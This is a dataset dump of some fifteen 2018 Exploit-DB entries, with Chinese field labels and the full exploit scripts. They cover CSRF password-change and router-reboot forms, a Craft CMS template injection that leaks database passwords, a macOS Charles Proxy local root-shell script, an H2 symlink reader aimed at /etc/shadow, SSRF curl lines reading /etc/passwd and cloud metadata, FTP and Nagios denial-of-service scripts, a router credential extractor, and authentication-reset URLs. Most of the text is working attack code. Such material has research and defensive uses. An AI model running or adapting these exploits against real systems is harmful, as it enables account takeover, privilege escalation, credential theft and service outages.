QLWD/code_shield huggingface dataset:
标题: WityCMS 0.6.2 - Cross-Site Request Forgery (Password Change) EDB-ID: 45127 CVE: 2018-14029 类型: WEBAPPS 平台: PHP 发布日期: 2018-08-02 漏洞利用脚本: <!--
# Exploit Title: WityCMS 0.6.2 - Cross-Site Request Forgery (Password Change)
# Vendor Homepage: https://creatiwity.net/witycms
# Software Link: https://github.com/Creatiwity/wityCMS/releases/tag/0.6.2
# Exploit Author: Porhai Eung
# Website: http://www.chhaipov.com
# CVE: CVE-2018-14029
# Category: webapps


1. Description

CSRF vulnerability in admin/user/edit in Creatiwity wityCMS 0.6.2 allows an attacker to take over a user account by modifying user's data such as email and password

2. Exploit and Proof of Concept

To exploit this vulnerability, victim need to be logged in at target site namely victim.com and visit crafted site made by attacker namely attacker.com. Then an authenticated POST request will be generated from victim browser and it will be submit to victim.com to modify user's data to attacker desired value.

- POC hosted at attacker.com
-->

</div>
  <iframe id="test" name="test" style="display:none">
    </iframe>
    <form action="http://victim.com/wity/admin/user/edit/1" method="post" id="the_form" style="display:none" target="test">
        <input type="hidden" name="id" value="1"  />
        <input type="hidden" name="nickname" value="admin"  />
        <input type="hidden" name="password" value="csrf123"  />
        <input type="hidden" name="password_conf" value="csrf123"  />
        <input type="hidden" name="email" value="csrf@test.com"  />
        <input type="hidden" name="groupe" value="0"  />
        <input type="hidden" name="type" value="all"  />
        <input type="submit" value="Change Password"  />
    </form>
    <script type="text/javascript">
    //<![CDATA[
        var $form = document.getElementById ('the_form');
        $form.submit ();
    //]]>
    </script>
</div>

<!--
3. Solution

- Original password is needed in order to change new password of user
- Implement CSRF token
--> URL: https://www.exploit-db.com/exploits/45127
标题: Craft CMS SEOmatic plugin 3.1.4 - Server-Side Template Injection EDB-ID: 45108 CVE: 2018-14716 类型: WEBAPPS 平台: LINUX 发布日期: 2018-07-31 漏洞利用脚本: # Exploit Title: Craft CMS SEOmatic plugin 3.1.4 - Server-Side Template Injection
# Date: 2018-07-20
# Software Link: https://github.com/nystudio107/craft-seomatic
# Exploit Author: Sebastian Kriesten (0xB455)
# Contact: https://twitter.com/0xB455
# CVE: CVE-2018-14716
# Category: webapps

# 1. Description
# An unauthenticated user can trigger the Twig template engine by injecting 
# code into the URI as described in this article:

# http://ha.cker.info/exploitation-of-server-side-template-injection-with-craft-cms-plguin-seomatic/
# This can be leveraged to perform arbitrary calls against the template engine and the CMS.
# The output will be reflected within the Link header of the response.

# 2. Proof of Concept
# The injection can be performed against any part of the URL path. However as the framework is replacing 
# control characters with HTML entities (e.g. ' ==> &#039;) it is not possible to directly address methods with
# parameter values. Therefor it is required to bypass the filter by invoking functions such as craft.request.getUserAgent()
# and store the parameter values in the User-Agent header. In combination with Twig's slice() filter it is then possible
# to extract sensitive information by utilizing the craft.config.get() method:

# Request:
HEAD /db-password:%20%7b%25%20set%20dummy%20=%20craft.request.getUserAgent()|slice(0,8)%25%7d%7b%25%20set%20dummy2%20=%20craft.request.getUserAgent()|slice(9,2)%25%7d%7b%7bcraft.config.get(dummy,dummy2)%7d%7d HTTP/1.1
Host: craft-installation
User-Agent: password db

# Response:
HTTP/1.1 404 Not Found
Server: nginx
…

Link: <db-password: SECRET>; rel='canonical'
… URL: https://www.exploit-db.com/exploits/45108
标题: Charles Proxy 4.2 - Local Privilege Escalation EDB-ID: 45107 CVE: 2017-15358 类型: LOCAL 平台: MACOS 发布日期: 2018-07-30 漏洞利用脚本: Charles Proxy is a great mac application for debugging web services and
inspecting SSL traffic for any application on your machine.

In order to inspect the SSL traffic it needs to configure the system to use a
proxy so that it can capture the packets and use its custom root CA to decode
the SSL.

Setting a system-wide proxy requires root permissions so this is handled by an
suid binary located within the Charles application folder:

/Applications/Charles.app/Contents/Resources/Charles Proxy Settings

Unfortunately this binary is vulnerable to a race condition which allows a local
user to spawn a root shell. It supports a parameter "--self-repair" which it
uses to re-set the root+suid permissions on itself, with a graphical dialog
shown to the user. However if this is called when the binary is already
root+suid then no password dialog is shown.

It doesn't validate the path to itself and uses a simple API call to get the
path to the binary at the time it was invoked. This means that between executing
the binary and reaching the code path where root+suid is set there is enough
time to replace the path to the binary with an alternate payload which will then
receive the suid+root permissions instead of the Charles binary.

This issue was fixed in Charles 4.2.1 released in November 2017.

https://m4.rkw.io/charles_4.2.sh.txt
2f4a2dca6563d05a201108ec6e9454e2894b603b68b3b70b8f8b043b43ee9284
-------------------------------------------------------------------------------
#!/bin/bash

####################################################
###### Charles 4.2 local root privesc exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html ######
####################################################

cd
user="`whoami`"

cat > charles_exploit.c <<EOF
#include <unistd.h>
int main()
{
  setuid(0);
  seteuid(0);
  execl("/bin/bash","bash","-c","rm -f \"/Users/$user/Charles Proxy Settings\"; /bin/bash",NULL);
  return 0;
}
EOF

gcc -o charles_exploit charles_exploit.c
if [ $? -ne 0 ] ; then
  echo "failed to compile the exploit, you need xcode cli tools for this."
  exit 1
fi
rm -f charles_exploit.c

ln -s /Applications/Charles.app/Contents/Resources/Charles\ Proxy\ Settings
./Charles\ Proxy\ Settings --self-repair 2>/dev/null &
rm -f ./Charles\ Proxy\ Settings
mv charles_exploit Charles\ Proxy\ Settings

i=0

while :
do
  r=`ls -la Charles\ Proxy\ Settings |grep root`
  if [ "$r" != "" ] ; then
    break
  fi
  sleep 0.1
  i=$((i+1))
  if [ $i -eq 10 ] ; then
    rm -f Charles\ Proxy\ Settings
    echo "Not vulnerable"
    exit 1
  fi
done

./Charles\ Proxy\ Settings URL: https://www.exploit-db.com/exploits/45107
标题: Online Trade 1 - Information Disclosure EDB-ID: 45094 CVE: 2018-14328 类型: WEBAPPS 平台: LINUX 发布日期: 2018-07-27 漏洞利用脚本: # Exploit Title: Online Trade 1 - Information Disclosure
# Exploit Author: Dhamotharan
# Date: 2018-07-17
# Vendor Homepage: https://codecanyon.net/item/online-trade-online-forex-and-cryptocurrency-investment-system/21987193?s_rank=14
# CVE : CVE-2018-14328
# Version: 1
# Tested on: Kali Linux

# Description :
# Brynamics "Online Trade - Online trading and cryptocurrency investment
# system" allows remote attackers to obtain sensitive information via a
# direct request for /dashboard/addplan, /dashboard/paywithcard/charge,
# /dashboard/withdrawal, or /privacy&terms,
# as demonstrated by reading database username, database password,
# database_name, and IP address.

# POC:

# Request:

POST /dashboard/withdrawal HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Referer: http://127.0.0.1:8080/dashboard/withdrawals
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Cookie:
XSRF-TOKEN=eyJpdiI6IlAwSjE2SjE1REVUdTM0bXhsMDY1b3c9PSIsInZhbHVlIjoiN204
d3RFcmdOSFVmTEo2cGh5bFlxY3RlR0p2U2hoN3NkNDZ5Vit3MjdpS3B2RHJG
aVFZdzlKNmFyN25RbWJLRnZtT3FaTDVvbHV4Ym9HMmFiWlhGY0E9PSIsIm1h
YyI6ImZmNTFhOGJkMmYxMTBlMGRjZDU4YzQ5MTI3NTljN2JiOGYyODc3MTEx
YjhjMzFiZTNkNWMzZjc5YjVlYTUyODEifQ%3D%3D;
laravel_session=eyJpdiI6IjZycklXVDNRTWsrT0NsZ3A2ZnIrWFE9PSIsInZhbHVlIjoiRzdC
VlJzXC81VWdSWHlkSys2K3dtR2h3UnpzZzhjT1wvdDZtZ3BOMXpjU09SMTJD
TGdXeEhSWkhadGt0RnhPRDR3MWZreXlLOTA1RDNIQStIZFpxRG5OZz09Iiwi
bWFjIjoiNTkwYzU3ZGMxOTg3NWU1ZWFjNjVjNjNkN2VjODkzYTBjZDI3MTAx
NWJmZTUzN2VhZDRlNzEyMDcyODk5ZmFlZiJ9;
__tawkuuid=e::trade.brynamics.xyz::3PC5vtdJoz40C7aJUDGFFuGkOrICf1
3gr5+ReA6AWqfUvhPDsTAf982UcNP+u5nq::2;
TawkConnectionTime=0

amount=555-555-0199@example.com
&payment_mode=Bitcoin&method_id=2&_token=
VG4OwJ1Dxx0kDSA3JCp0JtHDMX3TI5WpXE6nTDWi

# Response:

HTTP/1.1 500 Internal Server Error
Date: Mon, 16 Jul 2018 11:14:58 GMT
Server: Apache
X-Powered-By: PHP/7.0.30
Cache-Control: no-cache, private
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 708733
<!DOCTYPE html><!--
Illuminate\Database\QueryException: SQLSTATE[22001]: String data, right
truncated: 1406 Data too long for column &#039;amount&#039; at row
1 (SQL:
insert into `withdrawals` (`amount`, `to_deduct`, `payment_mode`, `status`,
`user`, `updated_at`, `created_at`) values (555-555-0199@example.com,
620.5, Bitcoin, Pending, 182, 2018-07-16 11:14:59, 2018-07-16 11:14:59)) in URL: https://www.exploit-db.com/exploits/45094
标题: H2 Database 1.4.197 - Information Disclosure EDB-ID: 45105 CVE: 2018-14335 类型: WEBAPPS 平台: LINUX 发布日期: 2018-07-30 漏洞利用脚本: # Exploit Title: H2 Database 1.4.197 - Information Disclosure
# Date: 2018-07-16
# Exploit Author: owodelta
# Vendor Homepage: www.h2database.com
# Software Link: http://www.h2database.com/html/download.html
# Version: all versions
# Tested on: Linux
# CVE : CVE-2018-14335

# Description: Insecure handling of permissions in the backup function allows
# attackers to read sensitive files (outside of their permissions) via a
# symlink to a fake database file.

# PS, thanks to HTB and our team FallenAngels

#!/usr/bin/python

import requests
import argparse
import os
import random

def cleanup(wdir):
 cmd = "rm {}symlink.trace.db".format(wdir)
 os.system(cmd)

def create_symlink(file, wdir):
 cmd = "ln -s {0} {1}symlink.trace.db".format(file,wdir)
 os.system(cmd)


def trigger_symlink(host, wdir):
 outputName = str(random.randint(1000,10000))+".zip"
 #get cookie
 url = 'http://{}'.format(host)
 r = requests.get(url)
 path = r.text.split('href = ')[1].split(';')[0].replace("'","").replace('login.jsp','tools.do')
 url = '{}/{}'.format(url,path)
 payload = {
   "tool":"Backup",
   "args":"-file,"+wdir+outputName+",-dir,"+wdir}
 #print url
 requests.post(url,data=payload).text
 print "File is zipped in: "+wdir+outputName

if __name__ == "__main__":
 parser = argparse.ArgumentParser()
 required = parser.add_argument_group('required arguments')
 required.add_argument("-H",
   "--host",
   metavar='127.0.0.1:8082',
   help="Target host",
            required=True)
 required.add_argument("-D",
   "--dir",
   metavar="/tmp/",
   default="/tmp/",
   help="Writable directory")
 required.add_argument("-F",
   "--file",
   metavar="/etc/shadow",
   default="/etc/shadow",
   help="Desired file to read",)
 args = parser.parse_args()

create_symlink(args.file,args.dir)
trigger_symlink(args.host,args.dir)
cleanup(args.dir) URL: https://www.exploit-db.com/exploits/45105
标题: Responsive Filemanager 9.13.1 - Server-Side Request Forgery EDB-ID: 45103 CVE: 2018-14728 类型: WEBAPPS 平台: LINUX 发布日期: 2018-07-30 漏洞利用脚本: # Exploit Title: Responsive filemanager 9.13.1 - Server-Side Request Forgery
# Date: 2018-07-29
# Exploit Author: GUIA BRAHIM FOUAD
# Vendor Homepage: http://responsivefilemanager.com/
# Software Link: https://github.com/trippo/ResponsiveFilemanager/releases/download/v9.13.1/responsive_filemanager.zip
# Version: 9.13.1
# Tested on: responsive filemanager version: 9.13.1, php version: 7.0
# CVE : CVE-2018-14728

# PoC
curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=file:///etc/passwd'
curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a'
curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=http://169.254.169.254/openstack' URL: https://www.exploit-db.com/exploits/45103
标题: Core FTP 2.0 - 'XRMD' Denial of Service (PoC) EDB-ID: 45091 CVE: 2018-20658 类型: DOS 平台: WINDOWS 发布日期: 2018-07-26 漏洞利用脚本: # Exploit Title: Core FTP 2.0 - 'XRMD' Denial of Service (PoC)
# Date: 2018-07-24
# Exploit Author: Erik David Martin
# Vendor Homepage: http://www.coreftp.com/
# Software Link: http://www.coreftp.com/server/download/CoreFTPServer.exe
# Version: Version 2.0, build 653, 32-bit
# Tested on: Windows XP Professional, Version 2002, Service Pack 3
# CVE: N/A

# Proof of concept:
# Create a new domain and set IP address
# Use the default certificate by Core FTP Server
# Set base directory
# Create an anonymous user (anonymous:anonymous) for example
# Set a path for the user
# Start the server
# Run exploit: python exploit.py *target ip* anonymous anonymous
# Watch the server crash...
# The exploit will work for any user, and not just anonymous

import sys
import socket

try:
 host = sys.argv[1]
 username = sys.argv[2]
 password = sys.argv[3]
except:
 print("Usage: exploit.py *target ip* *username* *password*")
 sys.exit()

mysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #
mysocket.settimeout(2)

try:
 mysocket.connect((host,21))
 mysocket.recv(1024)
 print("\n[+] Connected\n")
except:
 print("[-] Error! Could not connect to target")
 sys.exit()

junk = ("asO8M.lFX[Gq<4<p(.P5eMLv]\2!G8jB_6Gx[I;I!aYa#oAi@kI<f.QFwkSBiQ,!")

try:
 mysocket.send("USER " + username + "\r\n")
 mysocket.recv(1024)
 mysocket.send("PASS " + password + "\r\n")
 mysocket.recv(1024)
 print("[+] Logged in as " + username)
except:
 print("[-] Error! Could not log in as " + username)
 sys.exit()

print("[+] Sending malicious request")

while True:
 try:
  mysocket.send("XRMD " + junk + "\r\n")
  mysocket.recv(1024)
 except:
  print("[+] Target is down\n")
  sys.exit() URL: https://www.exploit-db.com/exploits/45091
标题: Nagios Core 4.4.1 - Denial of Service EDB-ID: 45082 CVE: 2018-13458 2018-13457 2018-13441 类型: DOS 平台: LINUX 发布日期: 2018-07-24 漏洞利用脚本: # Exploit Title: Nagios Core Multiple Local Denial of Service
# Date: 2018-07-09
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
# Vendor Homepage: https://www.nagios.org/
# Software Link: https://www.nagios.org/downloads/nagios-core/
# Version: 4.4.1 and earlier
# Tested on: 4.4.1


qh_core, qh_help, and qh_echo in Nagios Core 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attackers to cause a local denial-of-service condition by sending a crafted payload to the listening UNIX socket.

1. [CVE-2018-13458] qh_core

$ echo -ne “#core\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne “@core\0" | socat unix-connect:./poc/nagios.qh -

2. [CVE-2018-13457] qh_echo

$ echo -ne "#echo\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne “@echo\0" | socat unix-connect:./poc/nagios.qh -

3. [CVE-2018-13441] qh_help

$ echo -ne “#help\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne “@help\0" | socat unix-connect:./poc/nagios.qh - URL: https://www.exploit-db.com/exploits/45082
标题: Trivum Multiroom Setup Tool 8.76 - Corss-Site Request Forgery (Admin Bypass) EDB-ID: 45088 CVE: 2018-13859 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-07-26 漏洞利用脚本: # Exploit Title: Trivum Multiroom Setup Tool 8.76 - Corss-Site Request Forgery (Admin Bypass)
# Date: 2018-07-25
# Software Link: [https://world.trivum-shop.de](https://world.trivum-shop.de/)
# https://world.trivum-shop.de/# Version: < 9.34 build 13381 - 12.07.18
# Category: hardware, webapps
# Tested on: V8.76 - SNR 8604.26 - C4 Professional
# Exploit Author: vulnc0d3c
# CVE: CVE-2018-13859

# 1. Description
# MusicCenter / Trivum Multiroom Setup Tool V8.76 - SNR 8604.26 - C4 Professional before V9.34 build 13381 - 12.07.18,
# allow unauthorized remote attackers to reset the authentication via "/xml/system/setAttribute.xml" URL, using GET request
# to the end-point "?id=0&attr=protectAccess&newValue=0"
# (successful attack will allow attackers to login without authorization).

# 2. Proof of Concept
# GET Request

http://target/xml/system/setAttribute.xml?id=0&attr=protectAccess&newValue=0 URL: https://www.exploit-db.com/exploits/45088
标题: Davolink DVW 3200 Router - Password Disclosure EDB-ID: 45076 CVE: 2018-10618 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-07-23 漏洞利用脚本: # Exploit Title: Davolink DVW 3200 Router - Password Disclosure
# Google Dork: N/A
# Zoomeye dork : https://www.zoomeye.org/searchResult?q=%22var%20user_passwd%22%20%2Bapp%3A%22DAVOLINK%20GAPD-7000%20WAP%20httpd%22 
# Date: 2018-07-13
# Exploit Author: Ankit Anubhav
# Vendor Homepage: www.davolink.co.kr
# Software Link: N/A
# Version: DVW 3200
# Tested on: Python 2.7 Windows 10
# CVE : N/A

# Many Davolink Davolink DV 3200 devices credentials can be disclosed using the following script.
# Author : Ankit Anubhav (ankitanubhav.com)  of NewSky Security ( https://www.newskysecurity.com/ )

# Usage script.py 1.3.3.7 where 1.3.3.7 is the Davolink DV 3200 IP.
# Use responsibly only for research and testing purposes.
# Tested with python 2.7

import sys
import urllib2
import re
import base64

def davolink_credfinder(ip):
        try:
  req = urllib2.Request('http://' + ip + ':' + '88', headers={ 'User-Agent': 'Mozilla/5.0' })
  connection_check = str(urllib2.urlopen(req).getcode())

  if (connection_check == "200"):
   html = urllib2.urlopen(req).read()
   str_html = str(html)
   m=re.compile('var user\_passwd\=\"(.*?)\"').search(str_html)
   encoded_pwd =str(m.group(1))
   actual_pwd = base64.b64decode(encoded_pwd)
   print "**************************************************************************************************"
   print "The password for the Davolink device is " + actual_pwd
   print "**************************************************************************************************"
         else:
   print "Connection to port 88 was not successful. Cant find credentials,sorry." 
 except:
  print "There was an error in connecting to the IP." 

davolink_credfinder(sys.argv[1]) URL: https://www.exploit-db.com/exploits/45076
标题: GetGo Download Manager 6.2.1.3200 - Denial of Service (PoC) EDB-ID: 45087 CVE: 2017-17849 类型: DOS 平台: WINDOWS 发布日期: 2018-07-25 漏洞利用脚本: # Exploit Title: GetGo Download Manager 6.2.1.3200 - Buffer Overflow (Denial of Service)
# Date: 2018-07-25
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co
# CVE: CVE-2017-17849
# Tested On: Windows 7 x86, Windows 10 x64 
#
# Details
# 
# The downloader feature of GetGo Download Manager is vulnerable 
# to a buffer overflow which can cause a denial of service.
# To test the proof of concept, have it executed in your machine
# and let the GetGo application download 'index.html' from your 
# given IP.
#
# SEH details (Windows 7 x86):
#
# SEH chain of thread 00000644, item 1
# Address=0863E2C8
# SE handler=68463967 <-> 4108 offset
#
# SEH chain of thread 00000644, item 2
# Address=46386746 <-> 4104 offset
# SE handler=*** CORRUPT ENTRY ***

import socket
 
server_ip = "0.0.0.0"
server_port = 80
payload = "A" * 4104 + "BBBB" + "\xcc\xcc\xcc\xcc" + "D" * 11000 + "\r\n"
  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((server_ip, server_port))
sock.listen(1)

print "Currently listening at " + server_ip + ":" + str(server_port)  

client, (client_host, client_port) = sock.accept()
print "Client connected: " + client_host + ":" + str(client_port)
print ""
print client.recv(1000)

client.send(payload)
print "Sent payload"

client.close()
sock.close() URL: https://www.exploit-db.com/exploits/45087
标题: Tenda Wireless N150 Router 5.07.50 - Cross-Site Request Forgery (Reboot Router) EDB-ID: 45078 CVE: 2015-5996 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-07-23 漏洞利用脚本: # Exploit Title: Tenda Wireless N150 Router 5.07.50 - Cross-Site Request Forgery (Reboot Router)
# Date: 2018-07-21
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co
# CVE: CVE-2015-5996
#
# Description:
#
# The router is vulnerable to a cross-site request forgery attacker. 
# If an administrator is currently logged in and visits a 
# remote webpage containing forms existing in the router's firmware, 
# a request can be forged to modify existing settings or even 
# set the router to its default state.
#
# These are two examples that can work in the proof of concept: 
# /goform/SysToolReboot - Reboot the router
# /goform/SysToolRestoreSet - Set the router to default settings
#
# Reference: https://www.kb.cert.org/vuls/id/630872

import socket

server_ip = "0.0.0.0"
server_port = 80

router_ip = "192.168.0.1"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((server_ip, server_port))
sock.listen(1)

print "Currently listening at " + server_ip + ":" + str(server_port)        

client, (client_host, client_port) = sock.accept()

print "Client connected: " + client_host + ":" + str(client_port)
print ""
print client.recv(1000)

client.send('HTTP/1.0 200 OK\r\n')
client.send('Content-Type: text/html\r\n')
client.send('\r\n')
client.send("""
<html>
    <body>
        <form method="post" id="frmSetup" name="frmSetup" action="http://""" + router_ip + """/goform/SysToolReboot">
            <input name="CMD" value="SYS_CONF" type="hidden">
            <input name="GO" value="system_reboot.asp" type="hidden">
            <input name="CCMD" value="0" type="hidden">
        </form>
        <script>
            document.getElementById("frmSetup").submit();
        </script>
    </body>
</html>
""")

client.close()
sock.close() URL: https://www.exploit-db.com/exploits/45078
标题: TP-Link TL-WR840N - Denial of Service EDB-ID: 45064 CVE: 2018-14336 类型: DOS 平台: HARDWARE 发布日期: 2018-07-20 漏洞利用脚本: # Exploit Title:- TP-Link Wireless N Router WR840N - Buffer Overflow
# Date:- 2018-07-16
# Vendor Homepage:- https://www.tp-link.com/
# Hardware Link:-  https://www.amazon.in/TP-LINK-TL-WR840N-300Mbps-Wireless-External/dp/B01A0G1J7Q
# Version:- TP-Link Wireless N Router WR840N
# Category:- Hardware
# Exploit Author:-  Aniket Dinda
# Tested on:- Linux
# CVE:- CVE-2018-14336

**********************************************************************************************************
Proof Of Concept:-

1- First connect to this network
2- Open terminal => And Type  "macof -i eth0 -n 10"
3- Hit Enter
4- You will see that your Net connection will lost.
******************************************************************************************************
Solutions:
1- You have to Reboot your router . URL: https://www.exploit-db.com/exploits/45064
标题: Touchpad / Trivum WebTouch Setup 2.53 build 13163 - Authentication Bypass EDB-ID: 45063 CVE: 2018-13862 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-07-20 漏洞利用脚本: # Exploit Title: Touchpad / Trivum WebTouch Setup V9 V2.53 build 13163 - Unauthorized Authentication Reset

# Date: 2018-07-20

# Software Link: https://world.trivum-shop.de

# Version: < 2.56 build 13381 - 12-07-2018

# Category: webapps 

# Tested on: 

Touchpad / Trivum WebTouch Setup V9 V2.53 build 13163 of Apr 6 2018 09:10:14 (FW 303)

# Exploit Author: vulnc0d3

# Contact: http://twitter.com/HerwonoWr

# CVE: CVE-2018-13862

1. Description 

Touchpad / Trivum WebTouch Setup V9 V2.53 build 13163 of Apr 6 2018 09:10:14 (FW 303) before 2.56 build 13381 - 12.07.2018, allow unauthorized remote attackers to reset the authentication via "/xml/system/setAttribute.xml" URL, using GET request to the end-point "?id=0&attr=protectAccess&newValue=0" (successful attack will allow attackers to login without authorization). 

2. Proof of Concept

# GET Request

http://target/xml/system/setAttribute.xml?id=0&attr=protectAccess&newValue=0

3. Vendor Changes Log

# http://update.trivum.com/update/tp9-changes.html URL: https://www.exploit-db.com/exploits/45063